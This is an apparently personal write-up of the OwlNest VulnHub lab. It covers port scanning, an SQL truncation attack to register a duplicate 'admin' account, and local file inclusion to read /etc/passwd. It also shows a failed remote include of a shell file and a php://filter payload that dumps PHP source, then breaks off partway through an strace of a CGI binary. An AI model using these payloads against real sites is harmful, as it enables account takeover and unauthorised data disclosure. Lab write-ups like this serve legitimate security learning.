OwlNest VulnHub Writeup

  1. Service Discovery
  2. Port 31337
  3. Port 80
  4. Sloppy truncati
  5. Binary analysis of /application/upload
  6. JMP ESP
  7. Next steps
  8. Admin console
  9. Conclusion

After competing in some CTFs, I fancied a low-pressure challenge, to wind down. Someone on IRC mentioned the OwlNest image, so I thought I'd take a look.

Service Discovery

Let's see what we're dealing with here.

|*|-language-bash-|*|
nmap -T4 -A -v 192.168.57.103

Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-10-27 21:42 GMT
NSE: Loaded 127 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:42
Completed NSE at 21:42, 0.00s elapsed
Initiating NSE at 21:42
Completed NSE at 21:42, 0.00s elapsed
Initiating ARP Ping Scan at 21:42
Scanning 192.168.57.103 [1 port]
Completed ARP Ping Scan at 21:42, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:42
Completed Parallel DNS resolution of 1 host. at 21:42, 0.02s elapsed
Initiating SYN Stealth Scan at 21:42
Scanning 192.168.57.103 [1000 ports]
Discovered open port 80/tcp on 192.168.57.103
Discovered open port 22/tcp on 192.168.57.103
Discovered open port 111/tcp on 192.168.57.103
Discovered open port 31337/tcp on 192.168.57.103
Completed SYN Stealth Scan at 21:42, 3.41s elapsed (1000 total ports)
Initiating Service scan at 21:42
Scanning 4 services on 192.168.57.103
Completed Service scan at 21:45, 136.18s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.57.103
NSE: Script scanning 192.168.57.103.
Initiating NSE at 21:45
Completed NSE at 21:45, 1.53s elapsed
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Nmap scan report for 192.168.57.103
Host is up (0.00058s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey:
|   1024 f4:17:74:b4:8a:27:c4:57:66:d1:a2:f1:53:25:20:4c (DSA)
|   2048 c0:f8:4e:c6:f9:28:14:5b:c3:ed:8a:00:51:aa:82:d5 (RSA)
|_  256 09:94:9e:56:f2:d4:7b:bf:ae:53:73:45:e8:fc:e6:ae (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Debian)
| http-title: Site doesn't have a title (text/html).
|_Requested resource was /login_form.php
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          38626/udp  status
|_  100024  1          43466/tcp  status
31337/tcp open  Elite?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=6.49SVN%I=7%D=10/27%Time=562FEFE7%P=x86_64-unknown-linu
SF:x-gnu%r(NULL,240,"\x20\x20\x20\x20\x20\x20\x20\x20\(\\___/\)\x20\x20\x2
SF:0\(\\___/\)\x20\x20\x20\(\\___/\)\x20\x20\x20\(\\___/\)\x20\x20\x20\(\\
SF:___/\)\x20\x20\x20\(\\___/\)\r\n\x20\x20\x20\x20\x20\x20\x20\x20/0\\\x2
SF:0/0\\\x20\x20\x20/o\\\x20/o\\\x20\x20\x20/0\\\x20/0\\\x20\x20\x20/O\\\x
SF:20/O\\\x20\x20\x20/o\\\x20/o\\\x20\x20\x20/0\\\x20/0\\\r\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\\__V__/\x20\x20\x20\\__V__/\x20\x20\x20\\__V__/\x20
SF:\x20\x20\\__V__/\x20\x20\x20\\__V__/\x20\x20\x20\\__V__/\r\n\x20\x20\x2
SF:0\x20\x20\x20\x20/\|:\.\x20\.:\|\\\x20/\|;,\x20,;\|\\\x20/\|:\.\x20\.:\
SF:|\\\x20/\|;,\x20,;\|\\\x20/\|;,\x20,;\|\\\x20/\|:\.\x20\.:\|\\\r\n\x20\
SF:x20\x20\x20\x20\x20\x20\\\\::::://\x20\\\\;;;;;//\x20\\\\::::://\x20\\\
SF:\;;;;;//\x20\\\\;;;;;//\x20\\\\::::://\r\n\x20\x20\x20-----`\"\"\x20\"\
SF:"`---`\"\"\x20\"\"`---`\"\"\x20\"\"`---`\"\"\x20\"\"`---`\"\"\x20\"\"`-
SF:--`\"\"\x20\"\"`---\r\n\x20\x20\x20\x20\x20\x20\x20\x20\\__V__/\x20\x20
SF:\x20\\__V__/\x20\x20\x20\\__V__/\x20\x20\x20\\__V__/\x20\x20\x20\\__V__
SF:/\x20\x20\x20\\__V__/\r\n\r\nThis\x20is\x20the\x20OwlNest\x20Administra
SF:tion\x20console\r\n\r\nType\x20Help\x20for\x20a\x20list\x20of\x20availa
SF:ble\x20commands\.\r\n\r\nReady:\x20")%r(GetRequest,24E,"\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\(\\___/\)\x20\x20\x20\(\\___/\)\x20\x20\x20\(\\___/\)
SF:\x20\x20\x20\(\\___/\)\x20\x20\x20\(\\___/\)\x20\x20\x20\(\\___/\)\r\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20/0\\\x20/0\\\x20\x20\x20/o\\\x20/o\\\x20
SF:\x20\x20/0\\\x20/0\\\x20\x20\x20/O\\\x20/O\\\x20\x20\x20/o\\\x20/o\\\x2
SF:0\x20\x20/0\\\x20/0\\\r\n\x20\x20\x20\x20\x20\x20\x20\x20\\__V__/\x20\x
SF:20\x20\\__V__/\x20\x20\x20\\__V__/\x20\x20\x20\\__V__/\x20\x20\x20\\__V
SF:__/\x20\x20\x20\\__V__/\r\n\x20\x20\x20\x20\x20\x20\x20/\|:\.\x20\.:\|\
SF:\\x20/\|;,\x20,;\|\\\x20/\|:\.\x20\.:\|\\\x20/\|;,\x20,;\|\\\x20/\|;,\x
SF:20,;\|\\\x20/\|:\.\x20\.:\|\\\r\n\x20\x20\x20\x20\x20\x20\x20\\\\:::::/
SF:/\x20\\\\;;;;;//\x20\\\\::::://\x20\\\\;;;;;//\x20\\\\;;;;;//\x20\\\\::
SF:::://\r\n\x20\x20\x20-----`\"\"\x20\"\"`---`\"\"\x20\"\"`---`\"\"\x20\"
SF:\"`---`\"\"\x20\"\"`---`\"\"\x20\"\"`---`\"\"\x20\"\"`---\r\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\\__V__/\x20\x20\x20\\__V__/\x20\x20\x20\\__V__/\
SF:x20\x20\x20\\__V__/\x20\x20\x20\\__V__/\x20\x20\x20\\__V__/\r\n\r\nThis
SF:\x20is\x20the\x20OwlNest\x20Administration\x20console\r\n\r\nType\x20He
SF:lp\x20for\x20a\x20list\x20of\x20available\x20commands\.\r\n\r\nReady:\x
SF:20Ready:\x20Ready:\x20");
MAC Address: 08:00:27:D2:46:1C (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2, Linux 3.2 - 3.13
Uptime guess: 0.001 days (since Tue Oct 27 21:44:28 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.58 ms 192.168.57.103

NSE: Script Post-scanning.
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Initiating NSE at 21:45
Completed NSE at 21:45, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.96 seconds
           Raw packets sent: 1202 (54.114KB) | Rcvd: 1194 (48.890KB)

We've got a few ports open to us - 22 (SSH), 80 (HTTP), 111 (RPC) and 31337 (?).

I quickly check out SSH, in case there is an interesting banner, but I see nothing out of the ordinary. I move on to port 31337.

Port 31337

ncat 192.168.57.103 31337
        (\___/)   (\___/)   (\___/)   (\___/)   (\___/)   (\___/)
        /0\ /0\   /o\ /o\   /0\ /0\   /O\ /O\   /o\ /o\   /0\ /0\
        \__V__/   \__V__/   \__V__/   \__V__/   \__V__/   \__V__/
       /|:. .:|\ /|;, ,;|\ /|:. .:|\ /|;, ,;|\ /|;, ,;|\ /|:. .:|\
       \\:::::// \\;;;;;// \\:::::// \\;;;;;// \\;;;;;// \\::::://
   -----`"" ""`---`"" ""`---`"" ""`---`"" ""`---`"" ""`---`"" ""`---
        \__V__/   \__V__/   \__V__/   \__V__/   \__V__/   \__V__/

This is the OwlNest Administration console

Type Help for a list of available commands.

Ready: help

Syntax: command <argument>

help         This help
username     Specify your login name
password     Specify your password
privs     Specify your access level
login         login to shell with specified username and password

Ready: username test
Ready: password test
Ready: login
Access Denied!

I'll come back to this service later, but for the time being it doesn't look like there's much we can do here, not at least without a valid login.

Port 80

After loading the site, we're presented with a login form.

We are also given the ability to register new users.

One note I make is that the length of the username field is limited to 16 characters.

<div class="form-group">
  <label for="nome" class="col-sm-2 col-lg-2 control-label">Login Name:</label>
  <div class="col-sm-5 col-lg-5">
    <input type="text" class="form-control" maxlength="16" name="username" id="username" placeholder="Choose a Login name...">
  </div>
</div>

After creating a user named 'test', I login.

Once logged in, we can see a few menu links. There's not much of interest in most of these, but one of them catches my eye - the upload form

<ul class="nav nav-pills">
        <li><a href="/index.php">Home</a></li>
        <li><a href="/gallery.php">Gallery</a></li>
        <li class="active"><a href="/uploadform.php?page=forms/form.php">Upload</a></li>
        <li><a href="/login_form.php">Logout</a></li>
</ul>

Upon visiting this link, we're immediately redirected to 'error.php', with the following message.

The administrator has configured access restrictions for this page, only the user "admin" is allowed to view it.

In the actual link to the upload form, I note the file path in the parameter. I visit the URL 'forms/form.php', and am presented with the upload form.

I test the form - it looks like we can use it to upload files - but where do our uploaded files go?

File uploaded successfully

Summary Informations:
Your Name: test
Your email: test@test.com
Image Description: test
Uploaded Filename: test.php

I make a note of the request structure, for later.

POST http://192.168.57.103/application/upload HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Referer: http://192.168.57.103/forms/form.php
Cookie: PHPSESSID=o8gsk7mhpdm0per9hd8ola4535
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------277245355172678503721098980
Content-Length: 588
Host: 192.168.57.103
-----------------------------277245355172678503721098980
Content-Disposition: form-data; name="name"

test
-----------------------------277245355172678503721098980
Content-Disposition: form-data; name="email"

test@test.com
-----------------------------277245355172678503721098980
Content-Disposition: form-data; name="description"

test
-----------------------------277245355172678503721098980
Content-Disposition: form-data; name="uploadfield"; filename="test.php"
Content-Type: text/x-php

<?php phpinfo();

-----------------------------277245355172678503721098980--

After digging through various paths - I come up blank, although I note that most of the paths I try have directory listing enabled.

Runing dirbuster on the site results in paydirt - our file appears in the path '/images', although we do not have the permissions to access it - DAMN!

Sloppy truncati

After doing some thinking, I recall a more recent example of an 'SQL Truncation Attack', in the WordPress platform, as demonstrated in this blog post.

Earlier, we saw that the 'username' input field on the registration page is limited to 16 characters. I see if this form might be vulnerable to an SQL Truncation Attack by attempting to create a user with the username of 'test<12 spaces>A'. I do this by utilizing ZAPs 'break on request' feature, to modify the registration request, before it is actually sent. I provided a different password to my first user, so that I can test to see whether or not we can authenticate against the second entry for the test user, instead of the first, to confirm creation of a second entry.

Success! We've created a second user entry for the username 'test' with a different password, and we are able to login. The test on the upload form page we found previously was looking for a username of 'admin'. I repeat the above process, but for a user with the username of 'admin A', and a password of 'test', and login.

After our new admin user has been created, I login and proceed to the upload form.

That looks more like it. Now that we're able to access this page, I check for LFI on the 'page' parameter, by providing '/etc/passwd' as the value.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
rmp:x:1000:1000:rmp,,,:/home/rmp:/bin/bash
mysql:x:104:108:MySQL Server,,,:/nonexistent:/bin/false

Cool - so we've gained a little bit of information. There is a single non-system user (excluding root) that exists, named 'rmp'. Unfortunately, the method of file inclusion is a call to the 'include' method, meaning that we can't view the source of any PHP files simply by providing the path to them.

After a little more thinking, I recall that we can use filters in PHP when presented with a LFI utilizing the 'include' method to execute arbitrary PHP, and read the content of files available to the web server. I quickly dig out a blog post on the subject, and get to work.

The first thing I try is to include some PHP from my test machine, by providing a URL to the 'page' parameter. We're presented with the following error message.

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /var/www/uploadform.php on line 14

Warning: include(http://192.168.57.102/shell.txt): failed to open stream: no suitable wrapper could be found in /var/www/uploadform.php on line 14

Warning: include(): Failed opening 'http://192.168.57.102/shell.txt' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/uploadform.php on line 14

Hit and a miss. Ok, so if we can't include our own source, we should at least be able to inspect the source of the files on the server by using PHP input filters, right?

I provide the following string as the 'page' parameter.

php://filter/convert.base64-encode/resource=index.php

After submitting the request, we are rewarded with a Base64 string.

PD9waHAKCXNlc3Npb25fc3RhcnQoKTsKCWlmKGlzc2V0KCRfU0VTU0lPTlsnbG9nZ2VkaW4nXSkgJiYgJF9TRVNTSU9OWydsb2dnZWRpbiddID09IHRydWUpIHsKCQkkbG9nZ2VkaW5hcyA9IHVybGVuY29kZShiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndXNlcm5hbWUnXSkpOwoJfQoJZWxzZSB7CgkJaGVhZGVyKCJsb2NhdGlvbjogL2xvZ2luX2Zvcm0ucGhwIik7Cgl9Cj8+CjxodG1sPgo8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4KICAgICAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgogICAgICAgIDxsaW5rIGhyZWY9ImNzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KPC9oZWFkPgo8Ym9keT4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWhlYWRlciI+CiAgICAgICAgICAgICAgICA8aDE+VGhlIE93bE5lc3QgPHNtYWxsPkxvZ2dlZCBpbiBhczogPD8gZWNobyAkbG9nZ2VkaW5hcyA/PiAoPGEgaHJlZj0ibG9naW5fZm9ybS5waHAiPkxvZ291dDwvYT4pPC9zbWFsbD48L2gxPgoJCTx1bCBjbGFzcz0ibmF2IG5hdi1waWxscyI+CgkJCTxsaSBjbGFzcz0iYWN0aXZlIj48YSBocmVmPSIjIj5Ib21lPC9hPjwvbGk+CgkJCTxsaT48YSBocmVmPSIvZ2FsbGVyeS5waHAiPkdhbGxlcnk8L2E+PC9saT4KCQkJPGxpPjxhIGhyZWY9Ii91cGxvYWRmb3JtLnBocD9wYWdlPWZvcm1zL2Zvcm0ucGhwIj5VcGxvYWQ8L2E+PC9saT4KCQkJPGxpPjxhIGhyZWY9Ii9sb2dpbl9mb3JtLnBocCI+TG9nb3V0PC9hPjwvbGk+CgkJPC91bD4KICAgICAgICA8L2Rpdj4KCgk8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoJCTxiciAvPgoJCTxoMT48c21hbGw+V2VsY29tZSB0byB0aGUgT3dsTmVzdCEgVGhlIGZlbGxvd3NoaXAgb2YgdGhlIG93bHMhPC9zbWFsbD48L2gxPgoJCTxwPlRoYW5rcyBmb3IgeW91ciBpbnRlcmVzdCBpbiBvdXIgY291c2UhIDxiPldFIEFSRSBUSEUgT1dMUyE8L2I+IEFuZCB3ZSBhcmUgdGhlIDxiPk1BU1RFUiBSQUNFITwvYj48L3A+CgkJPHA+V2h5PywgeW91IHNheT8gaXNuJ3QgaXQgc28gb2J2aW91cz88L3A+CgkJPHVsPgoJCQk8bGk+IFdlIGFyZSBzbWFydCEKCQkJPGxpPiBXZSBhcmUgcHJlZGF0b3JzIQoJCQk8bGk+IFdlIGFyZSBjdXRlIQoJCTwvdWw+CgkJPHA+RG9uJ3QgYmVsaWV2ZSB1cz8gY2hlY2sgb3VyIGdhbGxlcnkhIGFuZCB5b3UnbGwgaW1tZWRpYXRlbGx5IHVuZGVyc3RhbmQgd2h5IHdlIGFyZSA8Yj5NRUFOVCBUTyBCRUNPTUUgVEhFIFJBQ0UgVEhBVCBSVUxFUyBUSEUgV09STEQhPC9iPjwvcD4KCQk8cD5Tb29uIHdlIHdpbGwgb3BlbiB1cCByZWNydWl0bWVudCBmb3IgbmV3IGFkZXB0cywgY2hlY2sgYmFjayBzb29uIGFuZCB5b3Ugd2lsbCBoYXZlIGEgY2hhbmNlIHRvIGJlY29tZSBwYXJ0IG9mIGhpc3RvcnksIGEgc3RlcCBpbnRvIHRoZSBmdXR1cmUgb2Ygd29ybGQgZXZvbHV0aW9uLCB3aGVyZSA8Yj5PV0xTIFdJTEwgTEVBRCBUSEUgV09STEQuPC9iPiBhbmQgYWxsIHRoZSBvdGhlcidzIHdpbGwgbGl2ZSBpbiBhIGJldHRlciB3b3JsZCB1bmRlciBvdXIgPEI+QUJTT0xVVEUgQ09OVFJPTCE8L0I+LgoJCTxwPkFyZSB5b3UgYW4gYW1iaWNpb3VzIE93bD8gQmVjb21lIG9uZSBvZiB1cyE8L3A+CgkJPHA+T25lIG9mIHVzISBPbmUgb2YgdXMhIE9uZSBvZiB1cyEiPC9wPiAKCTwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tNiBjb2wtbWQtOSBjb2wtbWQtb2Zmc2V0LTMiPgogICAgICAgIDwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KCg==

This decodes to the content of the file 'index.php'.

<?php
    session_start();
    if(isset($_SESSION['loggedin']) && $_SESSION['loggedin'] == true) {
        $loggedinas = urlencode(base64_decode($_SESSION['username']));
    }
    else {
        header("location: /login_form.php");
    }
?>
<html>
<head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link href="css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
        <div class="page-header">
                <h1>The OwlNest <small>Logged in as: <? echo $loggedinas ?> (<a href="login_form.php">Logout</a>)</small></h1>
        <ul class="nav nav-pills">
            <li class="active"><a href="#">Home</a></li>
            <li><a href="/gallery.php">Gallery</a></li>
            <li><a href="/uploadform.php?page=forms/form.php">Upload</a></li>
            <li><a href="/login_form.php">Logout</a></li>
        </ul>
        </div>

    <div class="container">
        <br />
        <h1><small>Welcome to the OwlNest! The fellowship of the owls!</small></h1>
        <p>Thanks for your interest in our couse! <b>WE ARE THE OWLS!</b> And we are the <b>MASTER RACE!</b></p>
        <p>Why?, you say? isn't it so obvious?</p>
        <ul>
            <li> We are smart!
            <li> We are predators!
            <li> We are cute!
        </ul>
        <p>Don't believe us? check our gallery! and you'll immediatelly understand why we are <b>MEANT TO BECOME THE RACE THAT RULES THE WORLD!</b></p>
        <p>Soon we will open up recruitment for new adepts, check back soon and you will have a chance to become part of history, a step into the future of world evolution, where <b>OWLS WILL LEAD THE WORLD.</b> and all the other's will live in a better world under our <B>ABSOLUTE CONTROL!</B>.
        <p>Are you an ambicious Owl? Become one of us!</p>
        <p>One of us! One of us! One of us!"</p>
    </div>

        <div class="col-sm-6 col-md-9 col-md-offset-3">
        </div>
</body>
</html>

Awesome. Now, from our prior exploration, the thing of most interest to me is the upload form. I enter the path of the script that the upload form submits to, and get a bit of a surprise. A massive Base64 string - which decodes to an ELF binary.

Time to get our gdb on.

Binary analysis of /application/upload

As this is a binary that provides a back end for a POST request, I go about setting up a small bash script that would recreate our previous test upload.

After spending quite a while trying to mock out a multipart request using bash environment variables and STDIN, I started down the path of just using the QUERY_STRING variable, and attempting to use the CGI binary, as if it were just having a GET request sent to it.

QUERY_STRING='name=name&description=description&uploadfield=uploadfield&email=email@email.com' ./evidence-6.bin
Content-type: text/plain

Unable to open file

Initially, I could not get past this error. I broke out strace to see why this issue was occurring.

QUERY_STRING='name=name&description=description&uploadfield=uploadfield&email=email@email.com' strace -s 999 -v -f -y ./evidence-6.bin
execve("./evidence-6.bin", ["./evidence-6.bin"], ["QUERY_STRING=name=name&description=description&uploadfield=uploadfield&email=email@email.com", "XDG_VTNR=7", "SSH_AGENT_PID=1448", "XDG_SESSION_ID=c1", "CLUTTER_IM_MODULE=xim", "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/test", "SESSION=xfce", "GLADE_PIXMAP_PATH=:", "GPG_AGENT_INFO=/run/user/1000/keyring/gpg:0:1", "TERM=xterm", "SHELL=/bin/bash", "XDG_MENU_PREFIX=xfce-", "VTE_VERSION=3803", "WINDOWID=60876242", "UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1187", "GNOME_KEYRING_CONTROL=", "GTK_MODULES=overlay-scrollbar", "USER=test", "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;3"..., "XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0", "GLADE_MODULE_PATH=:", "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0", "SSH_AUTH_SOCK=/tmp/ssh-4kRqpYRY1Skg/agent.1447", "SESSION_MANAGER=local/test-VirtualBox:@/tmp/.ICE-unix/1434,unix/test-VirtualBox:/tmp/.ICE-unix/1434", "DEFAULTS_PATH=/usr/share/gconf/xfce.default.path", "XDG_CONFIG_DIRS=/etc/xdg/xdg-xfce:/usr/share/upstart/xdg:/etc/xdg:/etc/xdg", "PATH=/home/test/.rbenv/shims:/home/test/.rbenv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games", "DESKTOP_SESSION=xfce", "QT_IM_MODULE=ibus", "QT_QPA_PLATFORMTHEME=appmenu-qt5", "JOB=dbus", "XDG_SESSION_TYPE=x11", "PWD=/home/test/owlnest", "XMODIFIERS=@im=ibus", "GNOME_KEYRING_PID=", "LANG=en_GB.UTF-8", "GDM_LANG=en_GB", "MANDATORY_PATH=/usr/share/gconf/xfce.mandatory.path", "NODE_PATH=/usr/lib/nodejs:/usr/lib/node_modules:/usr/share/javascript", "IM_CONFIG_PHASE=1", "RBENV_SHELL=bash", "JAVA_TOOL_OPTIONS=-javaagent:/usr/share/java/jayatanaag.jar ", "GDMSESSION=xfce", "SESSIONTYPE=", "HOME=/home/test", "XDG_SEAT=seat0", "SHLVL=1", "LANGUAGE=en_GB:en", "UPSTART_INSTANCE=", "UPSTART_EVENTS=started xsession", "XDG_SESSION_DESKTOP=xfce", "LOGNAME=test", "QT4_IM_MODULE=xim", "XDG_DATA_DIRS=/usr/share/xfce:/usr/share/xfce4:/usr/local/share/:/usr/share/:/usr/share", "DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-9RmGepMuU7", "LESSOPEN=| /usr/bin/lesspipe %s", "INSTANCE=", "UPSTART_JOB=startxfce4", "XDG_RUNTIME_DIR=/run/user/1000", "DISPLAY=:0.0", "GLADE_CATALOG_PATH=:", "XDG_CURRENT_DESKTOP=XFCE", "GTK_IM_MODULE=ibus", "LESSCLOSE=/usr/bin/lesspipe %s %s", "XAUTHORITY=/home/test/.Xauthority", "_=/usr/bin/strace"]) = 0
[ Process PID=18308 runs in 32 bit mode. ]
uname({sysname="Linux", nodename="test-VirtualBox", release="3.19.0-28-generic", version="#30-Ubuntu SMP Mon Aug 31 15:52:51 UTC 2015", machine="x86_64", domainname="(none)"}) = 0
brk(0)                                  = 0x9bce000
brk(0x9bcecd0)                          = 0x9bcecd0
set_thread_area(0xffa2c440)             = 0
brk(0x9befcd0)                          = 0x9befcd0
brk(0x9bf0000)                          = 0x9bf0000
fstat64(1</dev/pts/11>, {st_dev=makedev(0, 13), st_ino=14, st_mode=S_IFCHR|0620, st_nlink=1, st_uid=1000, st_gid=5, st_blksize=1024, st_blocks=0, st_rdev=makedev(136, 11), st_atime=2015/10/28-16:18:12, st_mtime=2015/10/28-16:18:12, st_ctime=2015/10/28-13:34:18}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff779f000
write(1</dev/pts/11>, "Content-type: text/plain\r\n", 26Content-type: text/plain
) = 26
write(1</dev/pts/11>, "\r\n", 2
)        = 2
open("uploadfield", O_RDONLY)           = -1 ENOENT (No such file or directory)
write(1</dev/pts/11>, "Unable to open file\r\n", 21Unable to open file
) = 21
exit_group(0)                           = ?
+++ exited with 0 +++

Ok, so it looks like it's trying to open a file with the filename provided in the 'uploadfield' query string. I echo out a value to that file and run the same command again.

echo 1 > uploadfield
QUERY_STRING='name=name&description=description&uploadfield=uploadfield&email=email@email.com' strace -s 999 -v -f -y ./evidence-6.bin
execve("./evidence-6.bin", ["./evidence-6.bin"], ["QUERY_STRING=name=name&description=description&uploadfield=uploadfield&email=email@email.com", "XDG_VTNR=7", "SSH_AGENT_PID=1448", "XDG_SESSION_ID=c1", "CLUTTER_IM_MODULE=xim", "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/test", "SESSION=xfce", "GLADE_PIXMAP_PATH=:", "GPG_AGENT_INFO=/run/user/1000/keyring/gpg:0:1", "TERM=xterm", "SHELL=/bin/bash", "XDG_MENU_PREFIX=xfce-", "VTE_VERSION=3803", "WINDOWID=60876242", "UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1187", "GNOME_KEYRING_CONTROL=", "GTK_MODULES=overlay-scrollbar", "USER=test", 